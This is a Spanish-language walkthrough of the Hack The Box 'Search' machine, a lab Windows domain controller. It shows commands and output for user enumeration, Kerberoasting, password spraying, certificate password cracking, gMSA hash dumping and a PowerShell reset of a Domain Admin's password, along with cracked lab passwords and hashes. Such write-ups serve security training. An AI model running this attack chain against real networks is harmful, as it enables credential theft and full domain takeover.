Tras realizar una enumeración de usuarios y encontrar credenciales en el sitio web realizamos Kerberoasting. Password Spraying nos dieron acceso a un siguiente usuario donde encontramos un archivo Excel con una lista de contraseñas, una de ellas nos dio acceso por Powershell Web. Finalmente encontramos una ruta en Bloodhound para obtener acceso a un usuario del grupo Domain Admin para finalmente acceder como Administrador.
# Nmap 7.91 scan initiated Fri Mar 4 22:59:35 2022 as: nmap -p53,80,88,135,139,389,443,445,464,593,3268,8172,9389,49666,49675,49676,49703,49714,49738 -sV -sC -oN nmap_scan 10.10.11.129Nmap scan report for 10.10.11.129 (10.10.11.129)Host is up (0.37s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Search — Just Testing IIS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-04 22:59:40Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-03-04T23:01:13+00:00; -5s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Search — Just Testing IIS
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-03-04T23:01:13+00:00; -5s from scanner time.
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-03-04T23:01:13+00:00; -8s from scanner time.
8172/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=WMSvc-SHA2-RESEARCH
| Not valid before: 2020-04-07T09:05:25
|_Not valid after: 2030-04-05T09:05:25
|_ssl-date: 2022-03-04T23:01:13+00:00; -5s from scanner time.
| tls-alpn:
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49714/tcp open msrpc Microsoft Windows RPC
49738/tcp open msrpc Microsoft Windows RPC
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -5s, deviation: 1s, median: -5s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-03-04T23:00:37
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 4 23:01:22 2022 -- 1 IP address (1 host up) scanned in 106.92 seconds
RPC
Una sesion nula por RPC no muestra información, es necesario autenticación.
1
2
3
4
5
6
π ~/htb/search ❯ rpcclient -U "" -N 10.10.11.129
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $>
Samba
Al igual que rpc, samba requiere de autenticación para acceder a los recursos compartidos.
1
2
3
4
5
π ~/htb/search ❯ crackmapexec smb 10.10.11.129 -u '' -p '' --shares
SMB 10.10.11.129 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH)(domain:search.htb)(signing:True)(SMBv1:False)SMB 10.10.11.129 445 RESEARCH [-] search.htb\: STATUS_ACCESS_DENIED
SMB 10.10.11.129 445 RESEARCH [-] Error enumerating shares: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.) π ~/htb/search
Ldap
ldap necesita de credenciales para obtener información.
π ~/htb/search ❯ ldapsearch -x -h 10.10.11.129 -s base namingcontexts
# extended LDIF## LDAPv3# base <> (default) with scope baseObject# filter: (objectclass=*)# requesting: namingcontexts##dn:
namingcontexts: DC=search,DC=htb
namingcontexts: CN=Configuration,DC=search,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=search,DC=htb
namingcontexts: DC=DomainDnsZones,DC=search,DC=htb
namingcontexts: DC=ForestDnsZones,DC=search,DC=htb
# search resultsearch: 2result: 0 Success
# numResponses: 2# numEntries: 1 π ~/htb/search ❯ ldapsearch -x -h 10.10.11.129 -D '' -w '' -b 'DC=search,DC=htb'# extended LDIF## LDAPv3# base <DC=search,DC=htb> with scope subtree# filter: (objectclass=*)# requesting: ALL## search resultsearch: 2result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1 π ~/htb/search ❯
Web Site
Los Headers del sitio web muestran que corre un Microsoft IIS 10.
1
2
3
4
5
6
7
8
9
10
π ~/htb/search ❯ curl -sI 10.10.11.129
HTTP/1.1 200 OK
Content-Length: 44982Content-Type: text/html
Last-Modified: Tue, 11 Aug 2020 10:13:04 GMT
Accept-Ranges: bytes
ETag: "5f3800c86fd61:0"Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Fri, 04 Mar 2022 23:03:12 GMT
El sitio web presenta servicios, caracteristicas e información sobre la empresa (team, testimonios, etc.), además, en el formulario de contacto observamos el dominio search.htb el cual agregamos a /etc/hosts.
Directory Brute Forcing
feroxbuster muestra multiples paginas, una de ellas es /staff.
π ~/htb/search ❯ feroxbuster -u http://search.htb -w $MD --depth 1 -x asp,aspx,html
___ ___ __ __ __ __ __ ___
|__ |__ |__)|__)| / ` / \ \_/ ||\ |__
||___ |\ |\ |\__, \__/ / \ ||__/ |___
by Ben "epi" Risher 🤓 ver: 2.5.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://search.htb
🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.5.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [asp, aspx, html] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 1 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 2l 10w 148c http://search.htb/images => http://search.htb/images/
200 GET 1030l 2969w 44982c http://search.htb/index.html
200 GET 17l 76w 931c http://search.htb/main.html
301 GET 2l 10w 148c http://search.htb/Images => http://search.htb/Images/
403 GET 29l 92w 1233c http://search.htb/staff
301 GET 2l 10w 145c http://search.htb/css => http://search.htb/css/
200 GET 1030l 2969w 44982c http://search.htb/Index.html
301 GET 2l 10w 144c http://search.htb/js => http://search.htb/js/
200 GET 17l 76w 931c http://search.htb/Main.html
403 GET 29l 92w 1233c http://search.htb/Staff
301 GET 2l 10w 147c http://search.htb/fonts => http://search.htb/fonts/
301 GET 2l 10w 148c http://search.htb/IMAGES => http://search.htb/IMAGES/
200 GET 1030l 2969w 44982c http://search.htb/INDEX.html
301 GET 2l 10w 147c http://search.htb/Fonts => http://search.htb/Fonts/
200 GET 373l 1419w 19559c http://search.htb/single.html
301 GET 2l 10w 145c http://search.htb/CSS => http://search.htb/CSS/
301 GET 2l 10w 144c http://search.htb/JS => http://search.htb/JS/
200 GET 17l 76w 931c http://search.htb/MAIN.html
500 GET 80l 276w 3420c http://search.htb/%22julie%20roehm%22.aspx
500 GET 80l 276w 3420c http://search.htb/%22james%20kim%22.aspx
500 GET 80l 276w 3420c http://search.htb/%22britney%20spears%22.aspx
Restricted Site
Tras visitar la pagina /staff nos muestra que las credenciales que proporcionamos no tienen permisos para acceder a esta pagina.
Si recordamos, nmap muestra el puerto 445 (https), tras agregar https al sitio, observamos que pregunta por un certificado, por lo que para acceder a esta página es necesario contar con uno.
Enum Users
Kerbrute
Realizamos una enumeración de usuarios utilizando un wordlist de SecList, encontramos dos usuarios válidos. Sin embargo no obtuvimos mucha información en los diferentes servicios.
Si recordamos, en el sitio web hay una lista de nombres (en el apartado Team), utilizamos estos para crear un nuevo wordlist utilizando un Script en python.
1
2
3
4
5
6
7
8
9
10
11
12
Keely Lyons
Dax Santiago
Sierra Frye
Kyla Stewart
Kaiara Spencer
Dave Simpson
Ben Thompson
Chris Stewart
John Smith
Christine Aguilar
Robert Spears
Bruce Rogers
Sin embargo ninguna combinación de los usuarios válidos nos permitio acceder por smb/ldap/rpc.
1
2
3
4
5
keely.lyons
dax.santiago
sierra.frye
administrator
research
Note - Creds
En el sitio web descubrimos una imagen donde se leen notas, en esta se mencionan nombres y una contraseña para ‘Hope Sharp’, vemos IsolationIsKey?, la cual podría ser la contraseña.
Creamos un wordlist con los nombres de usuarios y las palabras “relevantes”, nuevamente utilizamos el Script en python.
1
2
3
4
5
6
7
8
9
10
11
12
13
Working from Home
Key staff to stay
Hospital Appointment
Harrods
9am Phisher Walter
Send password to Hope Sharp
IsolationIsKey?
Meeting with Board
Hunter and Jordan
Hunter Jordan
Jordan Hunter
Harrods Jordan
Harrods Hunter
Utilizamos kerbrute con el nuevo wordlist, vemos que hope.sharp es un usuario válido.
π BloodHound.py master ❯ ./bloodhound.py -u hope.sharp -p 'IsolationIsKey?' -d SEARCH.HTB -ns 10.10.11.129 -c all --zip
INFO: Found AD domain: search.htb
INFO: Connecting to LDAP server: research.search.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 113 computers
INFO: Connecting to LDAP server: research.search.htb
INFO: Found 107 users
INFO: Found 64 groups
INFO: Found 0 trusts
[.. snip ..]INFO: Done in 00M 46S
INFO: Compressing output into 20220405224732_bloodhound.zip
π BloodHound.py master ❯ l
total 1.9M
drwxr-xr-x 6 kali kali 4.0K Apr 5 23:07 .
drwxr-xr-x 12 kali kali 4.0K Apr 5 22:33 ..
-rw-r--r-- 1 kali kali 289K Apr 5 22:46 20220405224540_computers.json
-rw-r--r-- 1 kali kali 2.5K Apr 5 22:45 20220405224540_domains.json
-rw-r--r-- 1 kali kali 92K Apr 5 22:45 20220405224540_groups.json
-rw-r--r-- 1 kali kali 246K Apr 5 22:45 20220405224540_users.json
-rw-r--r-- 1 kali kali 202K Apr 5 22:47 20220405224652_computers.json
-rw-r--r-- 1 kali kali 2.5K Apr 5 22:47 20220405224652_domains.json
-rw-r--r-- 1 kali kali 92K Apr 5 22:47 20220405224652_groups.json
-rw-r--r-- 1 kali kali 246K Apr 5 22:46 20220405224652_users.json
-rw-r--r-- 1 kali kali 629K Apr 5 22:48 20220405224732_bloodhound.zip
drwxr-xr-x 6 kali kali 4.0K Mar 7 21:13 bloodhound
-rwxr-xr-x 1 kali kali 61 Mar 7 21:10 bloodhound.py
drwxr-xr-x 3 kali kali 4.0K Mar 7 21:11 build
-rw-r--r-- 1 kali kali 855 Mar 7 21:10 Dockerfile
-rw-r--r-- 1 kali kali 227 Mar 7 21:10 .editorconfig
drwxr-xr-x 8 kali kali 4.0K Mar 7 21:10 .git
-rw-r--r-- 1 kali kali 49 Mar 7 21:10 .gitignore
-rw-r--r-- 1 kali kali 1.1K Mar 7 21:10 LICENSE
drwxr-xr-x 2 kali kali 4.0K Mar 7 21:22 out
-rw-r--r-- 1 kali kali 3.4K Mar 7 21:10 README.md
-rw-r--r-- 1 kali kali 1.3K Mar 7 21:10 setup.py
π BloodHound.py master ❯
Ejecutamos bloodhound e importamos el archivo zip generado.
Utilizando los queries predefinidos de bloodhound, listamos los usuarios Kerberoastables, vemos dos web_svc, krbtgt.
Kerberoasting
Utilizamos impacket para realizar Kerberoasting, tras ejecutar el script obtuvimos el hash del usuario web_svc.
Utilizando John con el diccionario rockyou.txt logramos obtener en texto plano el valor del hash.
1
2
3
4
5
6
7
8
9
10
π ~/htb/search ❯ john --wordlist=$ROCK web_svc_kerberos
Using default input encoding: UTF-8
Loaded 1 password hash(krb5tgs, Kerberos 5 TGS etype 23[MD4 HMAC-MD5 RC4])Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
@3ONEmillionbaby (?)1g 0:00:00:07 DONE (2022-03-09 20:39) 0.1285g/s 1476Kp/s 1476Kc/s 1476KC/s @421eduymayte619..@#ann!#
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/search ❯
El usuario web_svc tiene acceso a los mismos recursos que hope.sharp, sin embargo no encontramos información nueva.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
π ~/htb/search ❯ crackmapexec smb search.htb -u web_svc -p '@3ONEmillionbaby' --shares
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH)(domain:search.htb)(signing:True)(SMBv1:False)SMB search.htb 445 RESEARCH [+] search.htb\web_svc:@3ONEmillionbaby
SMB search.htb 445 RESEARCH [+] Enumerated shares
SMB search.htb 445 RESEARCH Share Permissions Remark
SMB search.htb 445 RESEARCH ----- ----------- ------
SMB search.htb 445 RESEARCH ADMIN$ Remote Admin
SMB search.htb 445 RESEARCH C$ Default share
SMB search.htb 445 RESEARCH CertEnroll READ Active Directory Certificate Services share
SMB search.htb 445 RESEARCH helpdesk
SMB search.htb 445 RESEARCH IPC$ READ Remote IPC
SMB search.htb 445 RESEARCH NETLOGON READ Logon server share
SMB search.htb 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB search.htb 445 RESEARCH SYSVOL READ Logon server share
π ~/htb/search ❯
SMB - Edgar Jacobs
Utilizando los usuarios que encontramos con bloodhound y las dos contraseñas ya conocidas, realizamos nuevamente Password Spraying.
Encontramos que el usuario Edgar.Jacobs tiene acceso con la contraseña @3ONEmillionbaby, al igual que web_svc.
1
2
3
4
5
6
7
8
9
π ~/htb/search/usernames ❯ crackmapexec smb search.htb -u bloodhound_users.txt -p passwords.txt --continue-on-success
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH)(domain:search.htb)(signing:True)(SMBv1:False)SMB search.htb 445 RESEARCH [+] search.htb\WEB_SVC:@3ONEmillionbaby
[.. snip ..]SMB search.htb 445 RESEARCH [+] search.htb\HOPE.SHARP:IsolationIsKey?
[.. snip ..]SMB search.htb 445 RESEARCH [+] search.htb\EDGAR.JACOBS:@3ONEmillionbaby
[.. snip ..] π ~/htb/search/usernames ❯
SMB
Al enumerar los recursos de este usuario, vemos que tiene acceso a: CertEnroll, helpdesk, RedirectedFolders$.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
π ~/htb/search/usernames ❯ crackmapexec smb search.htb -u EDGAR.JACOBS -p "@3ONEmillionbaby" --shares
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH)(domain:search.htb)(signing:True)(SMBv1:False)SMB search.htb 445 RESEARCH [+] search.htb\EDGAR.JACOBS:@3ONEmillionbaby
SMB search.htb 445 RESEARCH [+] Enumerated shares
SMB search.htb 445 RESEARCH Share Permissions Remark
SMB search.htb 445 RESEARCH ----- ----------- ------
SMB search.htb 445 RESEARCH ADMIN$ Remote Admin
SMB search.htb 445 RESEARCH C$ Default share
SMB search.htb 445 RESEARCH CertEnroll READ Active Directory Certificate Services share
SMB search.htb 445 RESEARCH helpdesk READ
SMB search.htb 445 RESEARCH IPC$ READ Remote IPC
SMB search.htb 445 RESEARCH NETLOGON READ Logon server share
SMB search.htb 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB search.htb 445 RESEARCH SYSVOL READ Logon server share
π ~/htb/search/usernames ❯
En el recurso helpdesk no existe ningun archivo.
1
2
3
4
5
6
7
8
9
π ~/htb/search/usernames ❯ smbclient //search.htb/helpdesk -U 'edgar.jacobs'# @3ONEmillionbabyEnter WORKGROUP\edgar.jacobs's password:
Try "help" to get a list of possible commands.
smb: \> ls
. Dc 0 Tue Apr 14 06:24:23 2020 .. Dc 0 Tue Apr 14 06:24:23 20203246079 blocks of size 4096. 418870 blocks available
smb: \>
Phishing - Passwords
Al revisar el recurso RedirectedFolders$ encontramos un archivo .xlsx en el directorio de Edgar.Jacobs.
1
2
3
4
5
6
7
8
9
10
smb: \edgar.jacobs\Desktop\> ls
. DRc 0 Mon Aug 10 06:02:16 2020 .. DRc 0 Mon Aug 10 06:02:16 2020$RECYCLE.BIN DHSc 0 Thu Apr 9 16:05:29 2020 desktop.ini AHSc 282 Mon Aug 10 06:02:16 2020 Microsoft Edge.lnk Ac 1450 Thu Apr 9 16:05:03 2020 Phishing_Attempt.xlsx Ac 23130 Mon Aug 10 06:35:44 20203246079 blocks of size 4096. 418861 blocks available
smb: \edgar.jacobs\Desktop\>
Tras revisar el archivo, encontramos que existen 2 hojas, una de ellas está protegida por contraseña además vemos en esta una celda oculta (Celda C).
Utilizando xlsx2csv logramos obtener el valor de la hoja y celda protegida, observamos que son contraseñas.
Además en la carpeta \backup observamos dos certificados que seguramente estan relacionados a la página /staff.
1
2
3
4
5
6
7
8
smb: \sierra.frye\downloads\backups\> ls
. DHc 0 Mon Aug 10 16:39:17 2020 .. DHc 0 Mon Aug 10 16:39:17 2020 search-RESEARCH-CA.p12 Ac 2643 Fri Jul 31 11:04:11 2020 staff.pfx Ac 4326 Mon Aug 10 16:39:17 20203246079 blocks of size 4096. 676825 blocks available
smb: \sierra.frye\downloads\backups\>
Al intentar importar los certificados vemos que ambos estan protegidos por una contraseña.
Password Hash Cracking
Utilizamos pfx2john.py para obtener el hash de ambos certificados, y utilizando john con el wordlist rockyou.txt logramos obtener la contraseña para ambos, la cual es la misma.
1
2
3
4
5
6
7
8
9
10
11
12
π ~/htb/search/cert_sierra ❯ john --wordlist=$ROCK staff_pfx_hash
Using default input encoding: UTF-8
Loaded 1 password hash(pfx, (.pfx, .p12)[PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])Cost 1(iteration count) is 2000for all loaded hashes
Cost 2(mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy (staff.pfx)1g 0:00:01:20 DONE (2022-03-10 20:00) 0.01237g/s 67886p/s 67886c/s 67886C/s misssnamy..missnono
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/search/cert_sierra ❯
1
2
3
4
5
6
7
8
9
10
11
12
π ~/htb/search/cert_sierra ❯ john --wordlist=$ROCK search_p12_hash
Using default input encoding: UTF-8
Loaded 1 password hash(pfx, (.pfx, .p12)[PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])Cost 1(iteration count) is 2000for all loaded hashes
Cost 2(mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy (search-RESEARCH-CA.p12)1g 0:00:01:30 DONE (2022-03-10 20:02) 0.01110g/s 60878p/s 60878c/s 60878C/s misssnamy..missnono
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/search/cert_sierra ❯
PowerShell Web
Importamos y seleccionamos el certificado de staff.pfx tras visitar /staff.
Vemos un panel de acceso por PowerShell.
Utilizando las credenciales de sierra.frye logramos acceder a este.
1
2
3
USER: sierra.frye
PASS: $$49=wide=STRAIGHT=jordan=28$$18COMPUTER NAME: RESEARCH
Privesc
Tras examinar los directorios, no encontramos información relevante, por lo que revisamos nuevamente la información en Bloodhound.
BloodHound
Utilizando los queries predefinidos encontramos una ruta para obtener acceso como Domain Admin.
Inicialmente vemos a sierra.frye miembro de los grupos Birmingham-ITSec, ITSec, este último puede obtener la contraseña del usuario BIR-ADFS-GMSA.
Seguidamente vemos que BIR-ADFS-GMSA tiene permisos GenericAll sobre el usuario Tristan.Davies el cual pertenece al grupo de Domain Admins.
BIR-ADFS-GMSA
GMSA
Bloodhound sugiere utilizar gmsapasswordreader.exe aunque no fué posible conectarnos desde la máquina a nuestro servidor samba para descargar este ejecutable.
Utilizamos gMSADumper para obtener el hash de BIR-ADFS-GMSA utilizando las credenciales de sierra.frye.
1
2
3
4
5
π gMSADumper main ✗ ❯ ./gMSADumper.py -u sierra.frye -p '$$49=wide=STRAIGHT=jordan=28$$18' -l 10.10.11.129 -d search.htb
Users or groups who can read password for BIR-ADFS-GMSA$:
> ITSec
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
π gMSADumper main ✗ ❯
Sin embargo, tras intentar autenticarnos con el hash no fué posible, de igual forma crackear el hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
π ~/htb/search ❯ impacket-psexec "BIR-ADFS-GMSA$"@search.htb -hashes :e1e9fd9e46d0d747e1595167eedcec0f
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on search.htb.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[-] share 'CertEnroll' is not writable.
[-] share 'helpdesk' is not writable.
[-] share 'NETLOGON' is not writable.
[*] Found writable share RedirectedFolders$
[*] Uploading file WFSVyazG.exe
[*] Opening SVCManager on search.htb.....
[-] Error opening SVCManager on search.htb.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager
π ~/htb/search ❯
Investigando sobre GMSA en Windows encontramos un post sobre ReadGMSAPassword en PowerShell, donde se muestran comandos para la lectura de la contraseña.
Tras ejecutar los comandos vemos la contraseña en ’texto plano’ pero toma caracteres ilegibles, aunque vemos que tiene la ‘propiedad’ SecureString lo que podríamos utilizar para ejecutar comandos como en Arkham - HTB.
Inicialmente en la variable $secure vamos a obtener la propiedad SecureString para usarla como contraseña en PSCredential.
Finalmente con Invoke-Command ejecutamos comandos.
1
2
# Run CommandsInvoke-Command-ScriptBlock{whoami}-ComputerNameRESEARCH-Credential$cred
Tras ejecutar el último comando vemos que tenemos acceso como BIR-ADFS-GMSA.
Tristan Davies
Como sabemos BIR-ADFS-GMSA tiene permisos GenericAll sobre tristan.davies, segun la información que proporciona Bloodhound es posible realizar kerberoasting o cambiar la contraseña del usuario.
Ya que tenemos acceso como BIR-ADFS-GMSA realizamos un cambio de contraseña a tristan.
1
Invoke-Command -ScriptBlock { net user tristan.davies Password123! /domain } -ComputerName RESEARCH -Credential $cred
Observamos que el comando fue ejecutado exitosamente.
Tras ejecutar CrackMapExec vemos que tenemos acceso a todos los recursos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
π ~/htb/search ❯ crackmapexec smb search.htb -u tristan.davies -p 'Password123!' --shares
SMB search.htb 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH)(domain:search.htb)(signing:True)(SMBv1:False)SMB search.htb 445 RESEARCH [+] search.htb\tristan.davies:Password123! (Pwn3d!)SMB search.htb 445 RESEARCH [+] Enumerated shares
SMB search.htb 445 RESEARCH Share Permissions Remark
SMB search.htb 445 RESEARCH ----- ----------- ------
SMB search.htb 445 RESEARCH ADMIN$ READ,WRITE Remote Admin
SMB search.htb 445 RESEARCH C$ READ,WRITE Default share
SMB search.htb 445 RESEARCH CertEnroll READ,WRITE Active Directory Certificate Services share
SMB search.htb 445 RESEARCH helpdesk
SMB search.htb 445 RESEARCH IPC$ READ Remote IPC
SMB search.htb 445 RESEARCH NETLOGON READ,WRITE Logon server share
SMB search.htb 445 RESEARCH RedirectedFolders$ READ,WRITE
SMB search.htb 445 RESEARCH SYSVOL READ Logon server share
π ~/htb/search ❯
Administrator
Utilizamos secretsdump para obtener el hash del usuario Administrator.